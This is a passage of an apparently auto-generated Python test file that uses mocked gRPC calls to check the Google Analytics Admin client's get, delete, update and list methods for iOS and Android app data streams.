async def test_get_ios_app_data_stream_flattened_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.get_ios_app_data_stream), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = resources.IosAppDataStream()
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
resources.IosAppDataStream()
)
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
response = await client.get_ios_app_data_stream(name="name_value",)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0].name == "name_value"
@pytest.mark.asyncio
async def test_get_ios_app_data_stream_flattened_error_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
await client.get_ios_app_data_stream(
analytics_admin.GetIosAppDataStreamRequest(), name="name_value",
)
def test_delete_ios_app_data_stream(
transport: str = "grpc", request_type=analytics_admin.DeleteIosAppDataStreamRequest
):
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.delete_ios_app_data_stream), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = None
response = client.delete_ios_app_data_stream(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.DeleteIosAppDataStreamRequest()
# Establish that the response is the type that we expect.
assert response is None
def test_delete_ios_app_data_stream_from_dict():
test_delete_ios_app_data_stream(request_type=dict)
def test_delete_ios_app_data_stream_empty_call():
# This test is a coverage failsafe to make sure that totally empty calls,
# i.e. request == None and no flattened fields passed, work.
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport="grpc",
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.delete_ios_app_data_stream), "__call__"
) as call:
client.delete_ios_app_data_stream()
call.assert_called()
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.DeleteIosAppDataStreamRequest()
@pytest.mark.asyncio
async def test_delete_ios_app_data_stream_async(
transport: str = "grpc_asyncio",
request_type=analytics_admin.DeleteIosAppDataStreamRequest,
):
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.delete_ios_app_data_stream), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(None)
response = await client.delete_ios_app_data_stream(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.DeleteIosAppDataStreamRequest()
# Establish that the response is the type that we expect.
assert response is None
@pytest.mark.asyncio
async def test_delete_ios_app_data_stream_async_from_dict():
await test_delete_ios_app_data_stream_async(request_type=dict)
def test_delete_ios_app_data_stream_field_headers():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = analytics_admin.DeleteIosAppDataStreamRequest()
request.name = "name/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.delete_ios_app_data_stream), "__call__"
) as call:
call.return_value = None
client.delete_ios_app_data_stream(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "name=name/value",) in kw["metadata"]
@pytest.mark.asyncio
async def test_delete_ios_app_data_stream_field_headers_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = analytics_admin.DeleteIosAppDataStreamRequest()
request.name = "name/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.delete_ios_app_data_stream), "__call__"
) as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(None)
await client.delete_ios_app_data_stream(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "name=name/value",) in kw["metadata"]
def test_delete_ios_app_data_stream_flattened():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.delete_ios_app_data_stream), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = None
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
client.delete_ios_app_data_stream(name="name_value",)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0].name == "name_value"
def test_delete_ios_app_data_stream_flattened_error():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
client.delete_ios_app_data_stream(
analytics_admin.DeleteIosAppDataStreamRequest(), name="name_value",
)
@pytest.mark.asyncio
async def test_delete_ios_app_data_stream_flattened_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.delete_ios_app_data_stream), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = None
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(None)
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
response = await client.delete_ios_app_data_stream(name="name_value",)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0].name == "name_value"
@pytest.mark.asyncio
async def test_delete_ios_app_data_stream_flattened_error_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
await client.delete_ios_app_data_stream(
analytics_admin.DeleteIosAppDataStreamRequest(), name="name_value",
)
def test_update_ios_app_data_stream(
transport: str = "grpc", request_type=analytics_admin.UpdateIosAppDataStreamRequest
):
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.update_ios_app_data_stream), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = resources.IosAppDataStream(
name="name_value",
firebase_app_id="firebase_app_id_value",
bundle_id="bundle_id_value",
display_name="display_name_value",
)
response = client.update_ios_app_data_stream(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.UpdateIosAppDataStreamRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, resources.IosAppDataStream)
assert response.name == "name_value"
assert response.firebase_app_id == "firebase_app_id_value"
assert response.bundle_id == "bundle_id_value"
assert response.display_name == "display_name_value"
def test_update_ios_app_data_stream_from_dict():
test_update_ios_app_data_stream(request_type=dict)
def test_update_ios_app_data_stream_empty_call():
# This test is a coverage failsafe to make sure that totally empty calls,
# i.e. request == None and no flattened fields passed, work.
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport="grpc",
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.update_ios_app_data_stream), "__call__"
) as call:
client.update_ios_app_data_stream()
call.assert_called()
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.UpdateIosAppDataStreamRequest()
@pytest.mark.asyncio
async def test_update_ios_app_data_stream_async(
transport: str = "grpc_asyncio",
request_type=analytics_admin.UpdateIosAppDataStreamRequest,
):
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.update_ios_app_data_stream), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
resources.IosAppDataStream(
name="name_value",
firebase_app_id="firebase_app_id_value",
bundle_id="bundle_id_value",
display_name="display_name_value",
)
)
response = await client.update_ios_app_data_stream(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.UpdateIosAppDataStreamRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, resources.IosAppDataStream)
assert response.name == "name_value"
assert response.firebase_app_id == "firebase_app_id_value"
assert response.bundle_id == "bundle_id_value"
assert response.display_name == "display_name_value"
@pytest.mark.asyncio
async def test_update_ios_app_data_stream_async_from_dict():
await test_update_ios_app_data_stream_async(request_type=dict)
def test_update_ios_app_data_stream_field_headers():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = analytics_admin.UpdateIosAppDataStreamRequest()
request.ios_app_data_stream.name = "ios_app_data_stream.name/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.update_ios_app_data_stream), "__call__"
) as call:
call.return_value = resources.IosAppDataStream()
client.update_ios_app_data_stream(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert (
"x-goog-request-params",
"ios_app_data_stream.name=ios_app_data_stream.name/value",
) in kw["metadata"]
@pytest.mark.asyncio
async def test_update_ios_app_data_stream_field_headers_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = analytics_admin.UpdateIosAppDataStreamRequest()
request.ios_app_data_stream.name = "ios_app_data_stream.name/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.update_ios_app_data_stream), "__call__"
) as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
resources.IosAppDataStream()
)
await client.update_ios_app_data_stream(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert (
"x-goog-request-params",
"ios_app_data_stream.name=ios_app_data_stream.name/value",
) in kw["metadata"]
def test_update_ios_app_data_stream_flattened():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.update_ios_app_data_stream), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = resources.IosAppDataStream()
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
client.update_ios_app_data_stream(
ios_app_data_stream=resources.IosAppDataStream(name="name_value"),
update_mask=field_mask_pb2.FieldMask(paths=["paths_value"]),
)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0].ios_app_data_stream == resources.IosAppDataStream(
name="name_value"
)
assert args[0].update_mask == field_mask_pb2.FieldMask(paths=["paths_value"])
def test_update_ios_app_data_stream_flattened_error():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
client.update_ios_app_data_stream(
analytics_admin.UpdateIosAppDataStreamRequest(),
ios_app_data_stream=resources.IosAppDataStream(name="name_value"),
update_mask=field_mask_pb2.FieldMask(paths=["paths_value"]),
)
@pytest.mark.asyncio
async def test_update_ios_app_data_stream_flattened_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.update_ios_app_data_stream), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = resources.IosAppDataStream()
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
resources.IosAppDataStream()
)
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
response = await client.update_ios_app_data_stream(
ios_app_data_stream=resources.IosAppDataStream(name="name_value"),
update_mask=field_mask_pb2.FieldMask(paths=["paths_value"]),
)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0].ios_app_data_stream == resources.IosAppDataStream(
name="name_value"
)
assert args[0].update_mask == field_mask_pb2.FieldMask(paths=["paths_value"])
@pytest.mark.asyncio
async def test_update_ios_app_data_stream_flattened_error_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
await client.update_ios_app_data_stream(
analytics_admin.UpdateIosAppDataStreamRequest(),
ios_app_data_stream=resources.IosAppDataStream(name="name_value"),
update_mask=field_mask_pb2.FieldMask(paths=["paths_value"]),
)
def test_list_ios_app_data_streams(
transport: str = "grpc", request_type=analytics_admin.ListIosAppDataStreamsRequest
):
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_ios_app_data_streams), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = analytics_admin.ListIosAppDataStreamsResponse(
next_page_token="next_page_token_value",
)
response = client.list_ios_app_data_streams(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.ListIosAppDataStreamsRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, pagers.ListIosAppDataStreamsPager)
assert response.next_page_token == "next_page_token_value"
def test_list_ios_app_data_streams_from_dict():
test_list_ios_app_data_streams(request_type=dict)
def test_list_ios_app_data_streams_empty_call():
# This test is a coverage failsafe to make sure that totally empty calls,
# i.e. request == None and no flattened fields passed, work.
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport="grpc",
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_ios_app_data_streams), "__call__"
) as call:
client.list_ios_app_data_streams()
call.assert_called()
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.ListIosAppDataStreamsRequest()
@pytest.mark.asyncio
async def test_list_ios_app_data_streams_async(
transport: str = "grpc_asyncio",
request_type=analytics_admin.ListIosAppDataStreamsRequest,
):
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_ios_app_data_streams), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
analytics_admin.ListIosAppDataStreamsResponse(
next_page_token="next_page_token_value",
)
)
response = await client.list_ios_app_data_streams(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.ListIosAppDataStreamsRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, pagers.ListIosAppDataStreamsAsyncPager)
assert response.next_page_token == "next_page_token_value"
@pytest.mark.asyncio
async def test_list_ios_app_data_streams_async_from_dict():
await test_list_ios_app_data_streams_async(request_type=dict)
def test_list_ios_app_data_streams_field_headers():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = analytics_admin.ListIosAppDataStreamsRequest()
request.parent = "parent/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_ios_app_data_streams), "__call__"
) as call:
call.return_value = analytics_admin.ListIosAppDataStreamsResponse()
client.list_ios_app_data_streams(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "parent=parent/value",) in kw["metadata"]
@pytest.mark.asyncio
async def test_list_ios_app_data_streams_field_headers_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = analytics_admin.ListIosAppDataStreamsRequest()
request.parent = "parent/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_ios_app_data_streams), "__call__"
) as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
analytics_admin.ListIosAppDataStreamsResponse()
)
await client.list_ios_app_data_streams(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "parent=parent/value",) in kw["metadata"]
def test_list_ios_app_data_streams_flattened():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_ios_app_data_streams), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = analytics_admin.ListIosAppDataStreamsResponse()
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
client.list_ios_app_data_streams(parent="parent_value",)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0].parent == "parent_value"
def test_list_ios_app_data_streams_flattened_error():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
client.list_ios_app_data_streams(
analytics_admin.ListIosAppDataStreamsRequest(), parent="parent_value",
)
@pytest.mark.asyncio
async def test_list_ios_app_data_streams_flattened_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_ios_app_data_streams), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = analytics_admin.ListIosAppDataStreamsResponse()
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
analytics_admin.ListIosAppDataStreamsResponse()
)
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
response = await client.list_ios_app_data_streams(parent="parent_value",)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0].parent == "parent_value"
@pytest.mark.asyncio
async def test_list_ios_app_data_streams_flattened_error_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
await client.list_ios_app_data_streams(
analytics_admin.ListIosAppDataStreamsRequest(), parent="parent_value",
)
def test_list_ios_app_data_streams_pager():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials,
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_ios_app_data_streams), "__call__"
) as call:
# Set the response to a series of pages.
call.side_effect = (
analytics_admin.ListIosAppDataStreamsResponse(
ios_app_data_streams=[
resources.IosAppDataStream(),
resources.IosAppDataStream(),
resources.IosAppDataStream(),
],
next_page_token="abc",
),
analytics_admin.ListIosAppDataStreamsResponse(
ios_app_data_streams=[], next_page_token="def",
),
analytics_admin.ListIosAppDataStreamsResponse(
ios_app_data_streams=[resources.IosAppDataStream(),],
next_page_token="ghi",
),
analytics_admin.ListIosAppDataStreamsResponse(
ios_app_data_streams=[
resources.IosAppDataStream(),
resources.IosAppDataStream(),
],
),
RuntimeError,
)
metadata = ()
metadata = tuple(metadata) + (
gapic_v1.routing_header.to_grpc_metadata((("parent", ""),)),
)
pager = client.list_ios_app_data_streams(request={})
assert pager._metadata == metadata
results = [i for i in pager]
assert len(results) == 6
assert all(isinstance(i, resources.IosAppDataStream) for i in results)
def test_list_ios_app_data_streams_pages():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials,
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_ios_app_data_streams), "__call__"
) as call:
# Set the response to a series of pages.
call.side_effect = (
analytics_admin.ListIosAppDataStreamsResponse(
ios_app_data_streams=[
resources.IosAppDataStream(),
resources.IosAppDataStream(),
resources.IosAppDataStream(),
],
next_page_token="abc",
),
analytics_admin.ListIosAppDataStreamsResponse(
ios_app_data_streams=[], next_page_token="def",
),
analytics_admin.ListIosAppDataStreamsResponse(
ios_app_data_streams=[resources.IosAppDataStream(),],
next_page_token="ghi",
),
analytics_admin.ListIosAppDataStreamsResponse(
ios_app_data_streams=[
resources.IosAppDataStream(),
resources.IosAppDataStream(),
],
),
RuntimeError,
)
pages = list(client.list_ios_app_data_streams(request={}).pages)
for page_, token in zip(pages, ["abc", "def", "ghi", ""]):
assert page_.raw_page.next_page_token == token
@pytest.mark.asyncio
async def test_list_ios_app_data_streams_async_pager():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials,
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_ios_app_data_streams),
"__call__",
new_callable=mock.AsyncMock,
) as call:
# Set the response to a series of pages.
call.side_effect = (
analytics_admin.ListIosAppDataStreamsResponse(
ios_app_data_streams=[
resources.IosAppDataStream(),
resources.IosAppDataStream(),
resources.IosAppDataStream(),
],
next_page_token="abc",
),
analytics_admin.ListIosAppDataStreamsResponse(
ios_app_data_streams=[], next_page_token="def",
),
analytics_admin.ListIosAppDataStreamsResponse(
ios_app_data_streams=[resources.IosAppDataStream(),],
next_page_token="ghi",
),
analytics_admin.ListIosAppDataStreamsResponse(
ios_app_data_streams=[
resources.IosAppDataStream(),
resources.IosAppDataStream(),
],
),
RuntimeError,
)
async_pager = await client.list_ios_app_data_streams(request={},)
assert async_pager.next_page_token == "abc"
responses = []
async for response in async_pager:
responses.append(response)
assert len(responses) == 6
assert all(isinstance(i, resources.IosAppDataStream) for i in responses)
@pytest.mark.asyncio
async def test_list_ios_app_data_streams_async_pages():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials,
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_ios_app_data_streams),
"__call__",
new_callable=mock.AsyncMock,
) as call:
# Set the response to a series of pages.
call.side_effect = (
analytics_admin.ListIosAppDataStreamsResponse(
ios_app_data_streams=[
resources.IosAppDataStream(),
resources.IosAppDataStream(),
resources.IosAppDataStream(),
],
next_page_token="abc",
),
analytics_admin.ListIosAppDataStreamsResponse(
ios_app_data_streams=[], next_page_token="def",
),
analytics_admin.ListIosAppDataStreamsResponse(
ios_app_data_streams=[resources.IosAppDataStream(),],
next_page_token="ghi",
),
analytics_admin.ListIosAppDataStreamsResponse(
ios_app_data_streams=[
resources.IosAppDataStream(),
resources.IosAppDataStream(),
],
),
RuntimeError,
)
pages = []
async for page_ in (await client.list_ios_app_data_streams(request={})).pages:
pages.append(page_)
for page_, token in zip(pages, ["abc", "def", "ghi", ""]):
assert page_.raw_page.next_page_token == token
def test_get_android_app_data_stream(
transport: str = "grpc", request_type=analytics_admin.GetAndroidAppDataStreamRequest
):
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.get_android_app_data_stream), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = resources.AndroidAppDataStream(
name="name_value",
firebase_app_id="firebase_app_id_value",
package_name="package_name_value",
display_name="display_name_value",
)
response = client.get_android_app_data_stream(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.GetAndroidAppDataStreamRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, resources.AndroidAppDataStream)
assert response.name == "name_value"
assert response.firebase_app_id == "firebase_app_id_value"
assert response.package_name == "package_name_value"
assert response.display_name == "display_name_value"
def test_get_android_app_data_stream_from_dict():
test_get_android_app_data_stream(request_type=dict)
def test_get_android_app_data_stream_empty_call():
# This test is a coverage failsafe to make sure that totally empty calls,
# i.e. request == None and no flattened fields passed, work.
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport="grpc",
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.get_android_app_data_stream), "__call__"
) as call:
client.get_android_app_data_stream()
call.assert_called()
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.GetAndroidAppDataStreamRequest()
@pytest.mark.asyncio
async def test_get_android_app_data_stream_async(
transport: str = "grpc_asyncio",
request_type=analytics_admin.GetAndroidAppDataStreamRequest,
):
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.get_android_app_data_stream), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
resources.AndroidAppDataStream(
name="name_value",
firebase_app_id="firebase_app_id_value",
package_name="package_name_value",
display_name="display_name_value",
)
)
response = await client.get_android_app_data_stream(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.GetAndroidAppDataStreamRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, resources.AndroidAppDataStream)
assert response.name == "name_value"
assert response.firebase_app_id == "firebase_app_id_value"
assert response.package_name == "package_name_value"
assert response.display_name == "display_name_value"
@pytest.mark.asyncio
async def test_get_android_app_data_stream_async_from_dict():
await test_get_android_app_data_stream_async(request_type=dict)
def test_get_android_app_data_stream_field_headers():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = analytics_admin.GetAndroidAppDataStreamRequest()
request.name = "name/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.get_android_app_data_stream), "__call__"
) as call:
call.return_value = resources.AndroidAppDataStream()
client.get_android_app_data_stream(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "name=name/value",) in kw["metadata"]
@pytest.mark.asyncio
async def test_get_android_app_data_stream_field_headers_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = analytics_admin.GetAndroidAppDataStreamRequest()
request.name = "name/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.get_android_app_data_stream), "__call__"
) as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
resources.AndroidAppDataStream()
)
await client.get_android_app_data_stream(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "name=name/value",) in kw["metadata"]
def test_get_android_app_data_stream_flattened():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.get_android_app_data_stream), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = resources.AndroidAppDataStream()
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
client.get_android_app_data_stream(name="name_value",)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0].name == "name_value"
def test_get_android_app_data_stream_flattened_error():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
